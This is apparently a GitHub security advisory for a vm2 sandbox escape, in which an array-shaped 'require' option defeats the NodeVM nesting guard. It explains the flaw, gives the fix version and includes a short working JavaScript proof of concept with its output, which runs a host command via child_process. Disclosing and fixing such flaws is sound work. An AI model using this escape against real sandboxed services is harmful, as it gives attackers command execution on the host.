GHSA-8hr7-r645-pc6w
vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE
Quick fix
GHSA-8hr7-r645-pc6w — vm2: upgrade to the fixed version with the command below.
npm install vm2@3.11.7Details
## Summary
The `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === 'object' && requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`.
Array is converted into the vm2-only resolver: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226
Nesting loader returns the host VM constructors: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645
## Proof of Concept
Preconditions:
- The host creates `NodeVM` with truthy `nesting` and array-shaped `require`. - The attacker can supply JavaScript executed by that `NodeVM`.
```javascript 'use strict';
const {NodeVM} = require('./index.js');
const outer = new NodeVM({nesting: true, require: []}); const result = outer.run(` const {NodeVM} = require('vm2'); const inner = new NodeVM({require: {builtin: ['child_process']}}); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()" ); `);
console.log(result); ```
```text uid=1000(lohar) gid=1000(lohar) groups=1000(lohar) ```
The `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox.
Failed shape check: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307
## Impact
An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched.
> Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-8hr7-r645-pc6w[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-92935[ADVISORY]
- https://github.com/patriksimek/vm2/commit/05894eca1dc6a2b1a986f312c88255288a983d22[WEB]
- https://github.com/patriksimek/vm2/commit/54b54b74a382577f0bcd0538c5bf99acdcd7f53b[WEB]
- https://github.com/patriksimek/vm2[PACKAGE]
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7[WEB]
- https://www.vulncheck.com/advisories/vm2-nodevm-remote-code-execution-via-array-shaped-require[WEB]